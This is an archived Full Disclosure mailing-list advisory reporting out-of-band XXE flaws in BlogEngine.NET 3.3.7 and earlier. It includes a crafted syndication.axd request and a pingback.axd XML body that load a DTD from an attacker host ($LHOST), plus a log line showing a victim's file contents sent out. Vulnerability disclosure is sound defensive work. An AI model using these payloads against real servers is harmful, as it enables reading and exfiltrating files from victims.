[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] BlogEngine.Net XXE issues
From: aaron bishop <abishop () linux ! com>
Date: 2019-06-19 23:43:03
Message-ID: CA+Ma4Jt7OvQPsykhp0hdu9zAXUjmd6+Aq5M+2Lur675+j-d+4w () mail ! gmail ! com
[Download RAW message or body]
BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an
Out-of-band XXE attack through syndication.axd and pingback.axd.
*syndication.axd *accepts an external xml as the value for apml through a
request such as:
http://$RHOST/blog/syndication.axd?*apml=http://$LHOST/oob.xml*
*pingback.axd* will parse a POST with an XML body, such as:
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>
<methodName>pingback.ping</methodName> is required in the body for the XML
to be parsed.
An Out-of-band XXE attack results in the XML parser sending the contents of
a file on the victim to the attack as part of a request such as:
$RHOST - - [01/Apr/2019:16:34:40 -0600] "GET
/EX?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0 \
A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVid \
eo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGV \
ideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGV \
ideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo
HTTP/1.1" 404 438 "-" "-"
Disclosure at:
https://www.securitymetrics.com/blog/blogenginenet-xml-external-entity-attacks
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic